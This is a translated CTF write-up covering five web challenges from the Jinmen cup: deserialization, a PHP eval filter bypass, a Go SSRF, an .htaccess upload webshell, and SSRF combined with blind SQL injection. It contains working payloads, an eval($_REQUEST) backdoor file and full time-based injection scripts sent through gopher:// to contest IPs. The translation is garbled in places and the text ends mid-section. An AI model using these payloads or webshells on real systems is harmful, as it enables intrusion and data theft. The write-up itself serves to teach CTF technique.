[network security] 36. Jinmen cup CTF web write up ten thousand words (SSRF, file upload, SQL injection, code audit, Chinese ant sword)

Article directory:

  • Question 1 power_cut 1. Correct problem solving ideas 2. Other wrong attempts
  • Question 2 hate_php 1. Bypass numbers and letters 2. Bypass underline 3. Bypass all rules (correct answer)
  • Question 3 Go0SS 1. Correct problem solving ideas 2. Other wrong attempts
  • Question 4 HploadHub 1. Correct problem solving ideas 2. Expansion of Chinese ant sword 3. Other wrong attempts
  • Question 5 easysql 1. Correct problem solving ideas 2.SSRF error attempt 3.SQL injection error attempt
  • summary

Author's github resources:

  • Reverse analysis: https://github.com/eastmountyxz/ SystemSecurity-ReverseAnalysis
  • Network security: https://github.com/eastmountyxz/ NetworkSecuritySelf-study

Statement: I firmly oppose the use of teaching methods for criminal acts. All criminal acts will be severely punished. The green network needs our joint maintenance. It is recommended that you understand the principles behind them and better protect them. The website is currently accessible and should be closed in the future. Beginners can try it, but don't destroy it.

Question 1 power_cut

The title is described as follows:

The website opens as shown in the following figure:

<html>
<body>
<p><br/>The power was cut off last night because of a strong wind of force 14.</p>
</body>
</html>

1. Correct problem solving ideas

The author's basic ideas are as follows:

  • First, use dirsearch to scan sensitive directories
  • Step 2: find the index.php.swp source file to download
  • Step 3: restore the. swp file to the index.php file
  • The fourth step is to analyze the source code and find that it is a deserialization vulnerability, which is simply bypassed by double writing

(1) We download the dirsearch tool (Python script) from github, which is a directory scanning tool to scan the sensitive files and directories of the website to find a breakthrough.

  • https://github.com/maurosoria/dirsearch

(2) Then, scan the directory through dirsearch, and enter CMD in the directory input field to quickly enter. We found the sensitive file. index.php.swp.

  • -u: Specify web address
  • -e: Specify site language
  • -w: Specify dictionary
  • -r: Recursive directory (after running out of the directory, continue to run the directory below the directory)
  • -Random agents: use random UA

Summary of document disclosure knowledge Backup file leakage is the basic knowledge. Common backup files include. bak,. swp,. swo, etc. The following is a brief summary of the knowledge points of file disclosure. ① Backup files:. index.php.swp,. index.php.swo,. index.php.bak,. index.php~ ② Source zip package: www.zip, root.zip, web.zip ③ git disclosure: www.xxx.com/.git/config, and then use the tool GitHack to obtain the source code, python GitHack.py URL/.git ④ svn disclosure: www.xxx.com/.svn/entries, use the tool DVCS ripper to obtain the source code ⑤ Other file disclosure –. Idea directory disclosure: the project using IntelliJ IDEA can disclose the directory structure – .DS_Store: www.xxx.com/.ds_store, tool ds_store_exp -. pyc file: bytecode file compiled by python

(3) We download the source file and interpret the source code.

(4) Restore the. swp file to index.php, otherwise it will be garbled. Use vim to edit with - r parameter under Linux system, and then wq save it.

  • vim -r index.php.swp
  • Press i to enter Esc to exit
  • Save locally: w /tmp/index.php

File recovery is shown in the following figure:

Download local files as shown in the figure below:

The source code is as follows:

<?php
class logger{
    public $logFile;
    public $initMsg;
    public $exitMsg;
  
    function __construct($file){
        // initialise variables
        $this->initMsg="#--session started--#\n";
        $this->exitMsg="#--session end--#\n";
        $this->logFile =  $file;
        readfile($this->logFile);
        
    }
  
    function log($msg){
        $fd=fopen($this->logFile,"a+");
        fwrite($fd,$msg."\n");
        fclose($fd);
    }
  
    function __destruct(){
        echo "this is destruct";
    }
}

class weblog {
    public $weblogfile;

    function __construct() {
    	$flag="system('cat /flag')";
    	echo "$flag";
    }

    function __wakeup(){
        // self::waf($this->filepath);
        $obj = new logger($this->weblogfile);
    }

    public function waf($str){
        $str=preg_replace("/[<>*#'|?\n ]/","",$str);
        $str=str_replace('flag','',$str);
        return $str;
    }

    function __destruct(){
        echo "this is destruct";
    }
}

$log = $_GET['log'];
$log = preg_replace("/[<>*#'|?\n ]/","",$log);
$log = str_replace('flag','',$log);
$log_unser = unserialize($log);
?>

<html>
<body>
<p><br/>The power was cut off last night because of a strong wind of force 14.</p>
</body>
</html>

(5) The audit found that the file reading function readfile() exists in the constructor of logger class, and the parameters are controllable. Through the weblog class__ The wakeup magic method triggers a file reading vulnerability when instantiating an object of the logger class. As for other functions, after analysis, it is not difficult to see that they are for confusion.

To deserialize, you need to enter a serialized value.

$test = new weblog();
$test->weblogfile = "/flaflagg";
var_dump(serialize($test));

The output result is shown in the figure below. If the URL splicing is followed, there is still no result.

  • O:6:"weblog":1:{s:10:"weblogfile";s:9:"/flaflagg";}

Because the flag will be replaced with empty, change the length of the variable to 5. The final payload is as follows:

?log=O:6:"weblog":1:{s:10:"weblogfile";s:5:"/flaflagg";}

Knowledge summary Personal CTF topics like long speeches. I hope big guys don't like it. I hope they can help beginners. What you can learn about this topic include:

  • Scan site directory through dirsearch
  • Common methods of file disclosure (index.php.swp), and recovery from backup files to source code
  • The use of common vulnerabilities in deserialization and serialization bypasses flag filtering by constructing double write

2. Other wrong attempts

Of course, because the author's doctoral thesis is mainly based, he only participated in various safety competitions sporadically, and also took a lot of detours and attempts. If you are a safe beginner, you can do more CTF questions. It has certain rules.

dirb directory scanning depends on our dictionary library.

BurpSuite intercepts requests and views content.

Question 2 hate_php

The title is described as follows:

Visit the website as shown in the figure below:

The PHP code is as follows:

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){
        die('fighting!'); 
    }
    eval($code);
}

This topic mainly focuses on PHP code auditing and rule bypassing. When you enter the code=123 parameter, you will be prompted, as shown in the figure below.

1. Bypass numbers and letters

First, our common CTF question codes are as follows, mainly bypassing numbers and letters.

  • Bypass preg_match("/[A-Za-z0-9]+/",$code)

The bypass method of the above code is as follows:

  • If non alphanumeric characters are used, after various transformations, any character in a-z can be constructed, and the length of the string is less than 40. Then, using the feature that PHP allows dynamic function execution, splice a function, and then execute the function getshell.
  • In PHP, after the XOR operation of two strings, the result is still a string. Therefore, if we want to get a letter in a-z, we can find two non alphanumeric characters, and their XOR result is this letter.

Next, we construct PHP requests online.

  • https://c.runoob.com/compile/1

POST request construction

<?php
    @$_++;
    print($_);
	$__=("#"^"|");
	print($__);
	$__.=("."^"~");
	print($__);
    $__.=("/"^"`");
	print($__);
    $__.=("|"^"/");
	print($__);
    $__.=("{"^"/");
	print($__);
?>

The output results are shown in the figure below:

GET request construction

<?php
	$_="`{{{"^"?<>/";
	print($_);
?>

Finally, we construct the request through XOR. The core knowledge points are as follows:

<?php
	var_dump("#./|{"^"|~`//"); //_POST
	var_dump("`{{{"^"?<>/");   //_GET
?>

Finally, the code bypassing numbers and strings is as follows to successfully obtain the Flag value.

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=getFlag

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(`scandir`('/'))

1.there "`{{{"^"?<>/" Is a short expression of XOR, indicating_GET
2.${$_}[_](${$_}[__]);be equal to $_GET[_]($_GET[__]);Which means getFlag()
3.hold_Pass it in as a parameter for execution getFlag()

The output result is shown in the following figure:

But if it is directly output to our topic, it will prompt the error "fighting". Because our regular expressions also filter out special characters, especially underscores () and dollar characters ($).

2. Bypass underline

After bypassing numbers and letters, we want to see if we can bypass underscores at the same time.

  • Function names or predefined variable names are underlined to avoid conflicts with user-defined names, such as_ GET,_ POST, etc
  • Magic methods with two underscores in front of the function name, and system variables or constants with one underscores in front of the variable name, such as__ construct

If you don't give underscores, it means that you can't define variables and construct numbers. We must find other ways to bypass the rules. This is the payload given by the boss. The + sign must be quoted.

"$".("`"^"?").(":"^"}").(">"^"{").("/"^"{")."['+']"&+=getFlag();//$_GET['+']&+=getFlag();

The further improved payload is as follows:

?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
?code=${"`{{{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))

The content of {} in the payload is XOR. The XOR is executed in {}, that is to say, "` {{^"? < > / "above performs the XOR operation, which is equivalent to _GET. Finally, the eva function splices the string $_GET ['+'] (), passes in + = getFlag, and finally executes the function getFlag().

Note that the code here is equivalent to {u GET} '+', taking advantage of the executable features of the code in {}.

<?php
    $a = 'hello';
    $$a = 'world';
    echo "$a ${$a}";
?>
Output: hello world

If the payload is directly entered into the title, it will still report the error "fighting", because the dollar sign is also filtered.

  • ?code=${"`{{{"^"?<>/"}'+';&+=getFlag

3. Bypass all rules (correct answer)

The correct answer is as follows:

WEB hate_php

Idea 1: bypass characters and numbers
code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
1.success preg_match("/[A-Za-z0-9]+/",$code)
2.fail preg_match("/[A-Za-z0-9_@]+/",$code)
3.fail preg_match("/[A-Za-z0-9_$@]+/",$code)

Idea 2: bypass characters and numbers+Underline (variable)_and__)
code=${"`{{{"^"?<>/"}['+']();
1.success preg_match("/[A-Za-z0-9]+/",$code)
2.success preg_match("/[A-Za-z0-9_@]+/",$code)
3.fail preg_match("/[A-Za-z0-9_$@]+/",$code)
- ?code=${"`{{{"^"?<>/"}['+']();&+=getFlag
- ?code=${"`{{{"^"?<>/"}['+']();&_=assert&__=print_r(`scandir`('/'))

Idea 3: bypass characters and numbers+Underline (variable)_and__)+Dollar sign( $)
1.All failed

------------------------------------------------------

[Final answer]
Idea 4: use wildcards to bypass the dollar symbol( $)
?code=?><?=`/???/??? /????`?>
?code=?%3E%3C?=`/???/???%20/????`?%3E

Cflag{h76ghpt2v2JiYEKzBQ5ysxu9b2Z3mN4A} 

The output results are shown in the figure below:

Problem solving ideas:

  • Use wildcards to call Linux system commands to view flag s
  • In Linux system, characters such as "*" can be used to regularly match letters
  • An asterisk (*) can be used instead of 0 or more characters
  • The question mark (?) can be used instead of 1 arbitrary character, such as /?? /?? = > / bin / cat

Here, refer to the zering boss article and read the source code through / bin/cat, such as:

$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

If there is a len gt h limit, such as less than 35 and there is no "", then "" is brought into the following expression, and * is used to match the last file. At the same time, the ">" here closes the < "tag of eval.

structure payload As follows:
?><?=`/???/???%20/???/???/????/*`?>

php The meaning of using short links is as follows:
<?php echo `/bin/cat /var/www/html/index.php`?>

After reading the source code, the following functions are found:

function getFlag(){
	$flag = file_get_contents('/flag');
	echo $flag;
}

Note that we can build the PHP case locally for testing.

<?php
error_reporting(0);
if(!isset($_GET['code'])){
    highlight_file(__FILE__);
}else{
    $code = $_GET['code'];
    if(preg_match("/[A-Za-z0-9_$@]+/",$code)){ 
        die('fighting!'); 
    }
    $flag = 'eastmount';
    eval($code);
    echo($flag);
}

As shown in the figure below:

Finally, read the flag file directly.

?><?=`/???/???%20/????`;?>

?code=?><?=`/???/??? /????`?>

Knowledge summary

  • Preg_match ("/ [a-za-z0-9] + /, $code) + length limit Number + letter: GET or POST requests can be bypassed by XOR
  • preg_match("/[A-Za-z0-9_@]+/",
  • preg_match("/[A-Za-z0-9_

References for this part:

  • How to write a back door without numbers and letters in PHP
  • Bypass preg_match ("/ [a-za-z0-9] + /, $code)
  • CTF step pit PHP to write a back door that does not contain numbers, letters and underscores
  • Analysis of CTF bypassing characters and numbers to construct shell
  • Summary of a CTF web question - no alphanumeric getFlag/

Question 3 Go0SS

The title is described as follows:

The access website is shown in the figure below, and the default output is {"message", "pong"}.

The content of index.php file is empty.

<?php
// php in localhost port 80
readfile($_GET['file']);
?>

This topic gives the source code. We should want to find the exploit point through code design.

The source code is GO language, and the core is the main.go file.

package main

import (
	"bytes"
	"crypto/md5"
	"encoding/hex"
	"github.com/gin-gonic/gin"
	"io"
	"io/ioutil"
	"net/http"
	"os"
	"strings"
	"time"
)

type File struct {
	Content string `json:"content" binding:"required"`
	Name string `json:"name" binding:"required"`
}
type Url struct {
	Url string `json:"url" binding:"required"`
}

func md5sum(data string) string{
	s := md5.Sum([]byte(data))
	return hex.EncodeToString(s[:])
}

func fileMidderware (c *gin.Context){
	fileSystem := http.Dir("./files/")
	if c.Request.URL.String() == "/"{
		c.Next()
		return
	}
	f,err := fileSystem.Open(c.Request.URL.String())
	if f == nil {
		c.Next()
	}
	//
	if err != nil {
		c.Next()
		return
	}
	defer f.Close()
	fi, err := f.Stat()
	if  err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}
	if fi.IsDir() {
		if !strings.HasSuffix(c.Request.URL.String(), "/") {
			c.Redirect(302,c.Request.URL.String()+"/")
		} else {
			files := make([]string,0)
			l,_ := f.Readdir(0)
			for _,i := range l {
				files = append(files, i.Name())
			}

			c.JSON(http.StatusOK, gin.H{
				"files" :files,
			})
		}
	} else {
		data,_ := ioutil.ReadAll(f)
		c.Header("content-disposition", `attachment; filename=` + fi.Name())
		c.Data(200, "text/plain", data)
	}
}

func uploadController(c *gin.Context) {
	var file File
	if err := c.ShouldBindJSON(&file); err != nil {
		c.JSON(500, gin.H{"msg": err})
		return
	}
	dir := md5sum(file.Name)
	_,err:= http.Dir("./files").Open(dir)
	if err != nil{
		e := os.Mkdir("./files/"+dir,os.ModePerm)
		_, _ = http.Dir("./files").Open(dir)
		if e != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": e.Error()})
			return
		}
	}
	filename := md5sum(file.Content)
	path := "./files/"+dir+"/"+filename
	err = ioutil.WriteFile(path, []byte(file.Content), os.ModePerm)
	if err != nil{
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}
	c.JSON(200, gin.H{
		"message": "file upload succ, path: "+dir+"/"+filename,
	})
}
func vulController(c *gin.Context) {
	var url Url
	if err := c.ShouldBindJSON(&url); err != nil {
		c.JSON(500, gin.H{"msg": err})
		return
	}
	if !strings.HasPrefix(url.Url,"http://127.0.0.1:1234/"){
		c.JSON(403, gin.H{"msg": "url forbidden"})
		return
	}
	client := &http.Client{Timeout: 2 * time.Second}
	resp, err := client.Get(url.Url)
	if err != nil {
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}
	defer resp.Body.Close()
	var buffer [512]byte
	result := bytes.NewBuffer(nil)
	for {
		n, err := resp.Body.Read(buffer[0:])
		result.Write(buffer[0:n])
		if err != nil && err == io.EOF {
			break
		} else if err != nil {
			c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
			return
		}
	}
	c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
func main() {
	r := gin.Default()
	r.Use(fileMidderware)
	r.POST("/vul",vulController)
	r.POST("/upload",uploadController)
	r.GET("/", func(c *gin.Context) {
		c.JSON(200, gin.H{
			"message": "pong",
		})
	})
	_ = r.Run(":1234") // listen and serve on 0.0.0.0:8080
}

1. Correct problem solving ideas

(1) First, we open the source code of index.php and find that the code is as follows. There is a reminder that php SSRF is available at the 80 end of the intranet.

(2) Next, we need to audit the GO language code (main.go), and first look at the main function. The core contents are as follows:

  • r.Use(fileMidderware)
  • r.POST("/vul",vulController)
  • r.POST("/upload",uploadController)

Two available directories, vul and upload, can be found for subsequent penetration testing.

(3) Then, the code audit found that the SSRF can be completed through 302 jump. In line 56, judge whether the string ends with / through HasSuffix, and if it does not end, it will cause 302 redirection. The core code is as follows:

func fileMidderware (c *gin.Context) ...
if !strings.HasSuffix(c.Request.URL.String(), "/") {
	c.Redirect(302,c.Request.URL.String()+"/")
}

IsDir() needs to be satisfied. 302 can be triggered when the local environment finds that... / is added at the end.

(4) Then we try to send a POST message casually, and its value is empty.

  • http://122.112.246.208:20002/upload
  • {"message": "eastmount csdn"}

At the same time, the code audit found that the local 1234 port redirection is required and must start with the link, otherwise 403 error.

If the port is incorrect, a "url forbidden" error will be prompted.

If the redirection port is correct, you will be prompted that the page does not exist. At this time, you can continue to construct the payload.

  • {"url":"http://127.0.0.1:1234/index.php?file=/flag&id=eastmount"}
  • {"data":"404 page not found"}

(5) Call the function http.Dir("/dir").open() to open a file or directory. If the parameter of the open function is. Or... The returned object will also be considered a directory.

(6) Finally, the vul controller cooperates with SSRF to launch an attack. First jump to your own vps and get the flag at 302 to the intranet address with parameters. Note that the double slash (/ /) found in the gin Gonic / gin feature can trigger SSRF.

  • {"url":"http://127.0.0.1:1234/index.php?file=.../.../.../.../.../flag&hehe=.../..."}
  • Return file information (missing double slash SSRF)

The final Payload is as follows:

  • http://122.112.246.208:20002/vul
  • {"url":"http://127.0.0.1:1234//localhost/index.php?file=.../.../.../flag&eastmount=.../..."}
  • {"data":"flag{30e308e8e7122579b8ea2fae774d1999}"}

Knowledge summary

  • GO language and PHP code audit
  • Using 302 redirection + local server to realize SSRF
  • Construct... And / / bypass rules
  • Calling the hasSuffix function does not end with / to trigger 302 redirection
  • Call hasPrefix function to start with a URL+1234 port, otherwise 403 error will be reported

2. Other wrong attempts

I'm very resistant to this topic. I suggest you don't resist when you see the code audit of a strange GO language when doing CTF. In fact, the principles are similar, and we need to learn to analyze the source code. At the same time, the author also made some detours by calling BP for analysis.

Question 4 HploadHub

The title is described as follows. The website opens as shown in the figure below:

At the same time, the UploadHub source code is given for your analysis.

The dockerfile file information is as follows:

FROM ubuntu:14.04

#ENV DEBIAN_FRONTEND noninteractive
RUN sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list
RUN apt-get update -y

# install http
RUN apt-get install -y apache2
RUN mkdir -p /var/lock/apache2 /var/run/apache2
RUN apt-get update && apt-get install -y libapache2-mod-php5 php5 php5-mysql mysql-server python3 python3-pip
COPY app/www /var/www/html
COPY app/shuyu.sql /root/shuyu.sql
COPY app/start.sh /root/start.sh
COPY app/apache2.conf /etc/apache2/apache2.conf
COPY app/tar.py /tar.py

RUN sed -i "315c disable_functions = error_log,...,,ftp_ssl_connect," /etc/php5/apache2/php.ini
RUN sed -i '$a\ServerName 127.0.0.1'  /etc/apache2/apache2.conf &&\
    chmod -R 755 /var/www/html &&\
    chmod -R 777 /var/www/html/upload&&\
    rm /var/www/html/index.html&&\
    chmod +x /root/start.sh
RUN sed -i  "N;32a\secure_file_priv=/tmp" /etc/mysql/my.cnf&&\
    find /var/lib/mysql -type f -exec touch {} \; && service mysql start&&\
    mysqladmin -u root password "root"&&\
    mysql -u root -proot -e "create database shuyu;"&&\
    mysql -u root -proot shuyu < /root/shuyu.sql
RUN echo flag{test}>/flag
EXPOSE 80 
CMD ["/root/start.sh"]

The code of index.php is as follows

<html>
<head>
<title>I'm sorry I was born</title>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
</head>
    <body>  
        <h1>Movies are so kind that those who miss can always meet again; life is different. Some people say goodbye and never see again -Netease cloud</h1>
        <form action="" method="post"
enctype="multipart/form-data">
            <label for="file">filename:</label>
            <input type="file" name="file" id="file" /> 
            <input type="submit" name="submit" value="submit" />
        </form> 
<?php
    error_reporting(0);
    session_start();
    include('config.php');
    $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    if(isset($_POST['submit'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
            $filename=addslashes($_FILES['file']['name']);
            $sql="insert into img (filename) values ('$filename')";
            $conn->query($sql);
            $sql="select id from img where filename='$filename'";
            $result=$conn->query($sql);
            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    $id=$row["id"];
                }
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            header("Location: index.php?id=$id");
            }
        }
    }
    elseif (isset($_GET['id'])){
        $id=intval($_GET['id']);
        $sql="select filename from img where id=$id";
        $result=$conn->query($sql);
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                $filename=$row["filename"];
            }
        $img=$upload.'/'.$filename;
        echo "<img src='$img'/>";
        }
    }
?>
<style>
      body{
   background:url(./back.jpg)  no-repeat right -160px  ;
   background-size:90%;
   background-attachment:fixed;
  background-color: rgba(255, 255, 255, 0.8);
}
      </style>
    </body>
</html>

1. Correct problem solving ideas

Seeing this topic, you must think of the vulnerability of arbitrary file upload, but this topic seems to be able to upload arbitrary files.

(1) First, we check the Apache 2.conf configuration file and find that the upload sandbox parsing php is prohibited at the configuration level. Therefore, the php related sentence Trojan horse cannot be executed.

<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
        php_flag engine off
</Directory>

(2) Continue to check the configuration information of Apache2.conf. It is found that. Htaccess files are allowed to be uploaded, and the AllowOverride option is All. In addition, the Internet God said that the < Directory > of the configuration file is executed later than htaccess, so it is determined that this topic is the utilization of. Htaccess.

  • The test found that < File > tag has higher priority than < Directory >

Knowledge supplement . htaccess file or "distributed configuration file" It provides a method to change the configuration for each directory, that is, a file containing instructions is placed in a specific directory, and the instructions act on this directory and all its subdirectories. In short, htaccess file is a configuration file in Apache server, which is responsible for the web page configuration under the relevant directory. Its functions include web page 301 redirection and custom 404 errors Page, change the file extension, allow / block access to specific users or directories, prohibit directory list, configure default documents, etc. what we need here is to change the file extension and upload a ". Htaccess" file - https://blog.csdn.net/Eastmount/article/details/103552209

(3) Upload the htaccess file and disablefunc under Rce bypass. Note that if you upload php_flag engine on directly, it will be useless, but the PHP parsing of the uploaded directory is turned off in apache2.conf.

The built exp code (. htaccess) is as follows:

<Files .htaccess>
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Files>
php_value auto_prepend_fi\
le .htaccess
#<?php eval($_REQUEST['eastmount'])?>

After successful uploading, we can simply obtain the URL of the uploaded file, because it is displayed in a position on the left.

The website is:

  • URL+/upload/06ce7af6d0fb 28b0f56bbd6003a36785/.htaccess

(4) Finally, through file_ get_ The contents ("/ flag") function reads the flag content and returns it. The constructed payload is the focus.

  • http://122.112.248.222:20003/upload/06ce7af6d0fb28b0f56bbd6003a36785/
  • .htaccess?eastmount=var_dump(file_get_contents("/flag"));
  • <?php eval($_REQUEST['eastmount'])?>

The output result is shown in the figure below. You can see the flag value. Its "eastmount" is the code I construct in the. htaccess file.

ForceType application/x-httpd-php 
SetHandler application/x-httpd-php 
Require all granted 
php_flag engine on 
php_value auto_prepend_fi\ le .htaccess 
#string(39) "flag{BNjmiWsBgTW4fsLoDgWLvgnfqk1CI3Nx}

Other common methods to read the contents of the file are as follows (this problem seems to work).

  • ?hello=get_file_contents('flag.php')
  • ?hello=file('flag.php')

Finally, the mind map of file upload vulnerability is given. You can see the summary of the author's previous 6 articles.

2. Expansion of Chinese ant sword

Next, simply test the follow-up work of file upload vulnerability through ant sword, and try to find the flag file. Although it's a pity that the author didn't find it, these methods are also available for beginners to learn. You can also try or tell me good methods by yourself.

The first step is to establish a link with the uploaded. htaccess file.

  • http://x.x.x.x/upload/06ce7af6d0fb28b0f56bbd6003a36785/.htaccess
  • eastmount

The connection is successful, as shown in the figure below. Note that if you upload php or a sentence picture, you can't rebound the shell because php parsing is turned off.

Step 2: after the connection is successful, view the file directory list and open the terminal, as shown in the figure below.

Our idea is to get the root directory or var directory to check whether there are files related to flag.php or flag.txt, but we can't find them (I don't know how to search for ant sword).

The third step is to call relevant plug-ins for in-depth penetration testing. You can see that the PHP version is 5.5 and the operating system is Linux, but you still can't run the relevant functions. It is suspected that it is a. htaccess file, and a PHP file is required here.

Step 4: after the remote shell connection is successful, we can open the terminal for relevant operations. As shown in the figure below, unfortunately, the prompt "ret=127" should shield the relevant functions.

Step 5: we found the configuration information of the database in the config.php file provided by the topic. Then I wonder if the flag is hidden in the database table.

The config.php file is as follows:

Add the root user and password of the information to the database.

You can see that the corresponding database name is "shuyu", and there is a table "img", which corresponds to two fields id and filename.

View the table information as follows:

Here, we simply query the flag related values through sql statements and find the related files, but we don't know how to find them in Chinese ant sword.

At this point, the topic is basically over. Unfortunately, the flag file is still not found. I'm still too weak and need to learn too much knowledge. I hope readers will tell me the follow-up methods. At the same time, since I put myself into the academic paper next, there will be less technology sharing. Later, the doctoral graduation will take time to do BUUCTF all over. Come on!

3. Other wrong attempts

The error attempts of other methods are shown in the figure below, such as finding sensitive files.

BurpSuite can also intercept requests to modify file upload suffixes, which is a common method.

Upload a sentence Trojan horse (mm.jpg, mm.php, etc.), but Chinese ant sword and ice scorpion can't be connected.

  • http://122.112.248.222:20003/index.php?id=1420
  • http://x.x.x.x/upload/9845bc38896ccbba0ceaea4f3c08a78d/ma.php

Below are some of the pages that failed to connect.

Question 5 easysql

The title is described as follows:

The website opens as shown in the following figure:

The corresponding source code is as follows:

<?php
highlight_file(__FILE__);
    session_start();
    $url = $_GET['url'] ?? false;
    if($url)
    {
    $a = preg_match("/file|dict/i", $url);
        if ($a==1)
        {
            exit();
        }
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_exec($ch);
            curl_close($ch);
     }
?> 

1. Correct problem solving ideas

This topic is really difficult. It needs to be implemented by SSRF+SQL injection. Here I give several solutions to the problem. The second and third parts will give me more thoughts and attempts. I can try SSRF and SQL injection, but I won't integrate the two.

(1) Chamd5 security team WP post time blind injection after SSRF.

The first code is the SQL blind annotation to obtain the table name, which will be described in detail in part 2 of SSRF.

#Jinyubei WriteUp Chamd5 security team
import requests
import string
from urllib import parse
import time
import string

charset = "," + string.ascii_lowercase + string.digits + string.ascii_uppercase
charset = ",@" + string.ascii_letters
print(charset)
#,@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ

def send(post):
    post_len = len(post)
    post = parse.quote(post)
    exp = f"gopher://127.0.0.1:80/_POST%20%2Fadmin.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AConnection%3A%20close%0D%0AContent-Type%3A%20application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A%20{post_len}%0D%0A%0D%0A{post}"
    exp = exp.replace("%", "%25")
    url = f"http://121.36.147.29:20001/?url={exp}"
    start_time  = time.time()
    try:
        r = requests.get(url, timeout=0.3)
    except requests.exceptions.ReadTimeout:
        return 0.3
    stop_time  = time.time()
    return stop_time - start_time

result = ""
sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
for i in range(1,50):
    for c in charset:
        post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
        print(post)
        t = send(post)
        if t >= 0.3:
            result += c
            print(result)
            break

The output table name is as follows:

  • emails,flag,referers,uagents,users

The second code is the specific value of SQL blind Annotation "ag" column. The core code is as follows:

  • flag{VqvjbS1O8A1gVWa2aPF44ruiELruVDP1}
result = ""
#sql = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
#sql = "select group_concat(column_name) from information_schema.columns where table_name='flag';"
sql = "select group_concat(flag) from flag"
for i in range(1,50):
    for c in charset:
        post = f"poc=mid(({sql}),{i},1)='{c}' and sleep(1) "
        t = send(post)
        if t >= 0.3:
            result += c
            print(result)
            break

(2) A great God who doesn't know his name has a problem-solving idea The database table name has been exploded. Query the payload of the value through select flag from flag.

import urllib.parse
import requests
import time

url="http://121.36.147.29:20001/index.php?url="
result = ""
for pos in range(1,10):
    for i in range(1,127):
        poc = "poc=1) and if((ascii(substr((select flag from flag),"+str(pos)+",1))='"+str(i)+"'),sleep(3),0) -- "
        length = len(poc)
        data = urllib.parse.quote(poc)
        data = urllib.parse.quote(data)
        final_poc = "gopher://127.0.0.1:80/_POST%20%2fadmin.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%20"+str(length)+"%250d%250a%250d%250a"+str(data)
        t1 = time.time()
        res = requests.get(url + final_poc)
        t2 = time.time()

        if(t2-t1>3):
            result += chr(i)
            print(result)
            break

The output results are shown in the figure below:

(3) HA1CgON great God problem solving ideas SSRF local admin.php, gopher post injection implementation.

<?php
$payload = "poc=" . $argv[1];
//$payload = "poc=if((select ascii(substr(database(),1,1)))=115,sleep(0.4),1)";
$test = "POST /admin.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
cache-control: no-cache
Postman-Token: 375ba985-8106-4d79-bafd-dff6654589b8
User-Agent: PostmanRuntime/7.6.0
Accept: */*
Host: 127.0.0.1
Content-Length: " . strlen($payload) . "
Connection: close

" . $payload . "

";
echo urlencode(("gopher://127.0.0.1:80/_" . rawurlencode($test)));

Python code is as follows:

import requests
import time
import urllib
import os

url = 'http://121.36.147.29:20001/?url='

s=requests.Session()

x=""
payload = ''
for Len in range(1,50):
    max = 127
    min = 34
    while max >= min:
        mid = (max + min) // 2
        payload = 'if((select ascii(substr((select flag from flag),1,{})))>{},sleep(0.2),1)'.format(Len,mid)
        print(payload)
        tmp_r = os.popen('php /Users/ha1c9on/Web/HISTORY/gopher.php "'+payload+'"').read()

        before_time = time.time()

        tmp_url = url+tmp_r
        print(tmp_url)
        r = requests.get(tmp_url)
        after_time = time.time()
        offset = after_time-before_time
        if (offset>2):
            min = mid + 1
        else:
            max = mid
        if max == mid == min:
            x += chr(mid)
            print("success:{} length:{}".format(x, len(x)))
            break

2.SSRF error attempt

The following describes the author's various attempts to do this topic. I hope this knowledge will be helpful to your understanding of SSRF vulnerabilities.

The first step is source code audit.

$url = $_GET['url'] ?? false; 
c=a??b;
1.Indicates if a Non empty rule c=a
2.If a If it is empty c=b
 The expression requires url Non empty

$a = preg_match("/file|dict/i", $url);
Execute matching regular expressions
1.If present file|dict/i immediate withdrawal
2.Otherwise, subsequent statements are executed

$ch = curl_init();
Initialize a cURL Conversation and operation
curl_setopt($ch, CURLOPT_URL, $_GET["url"]);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch); 

At the same time, build relevant codes locally for code audit test.

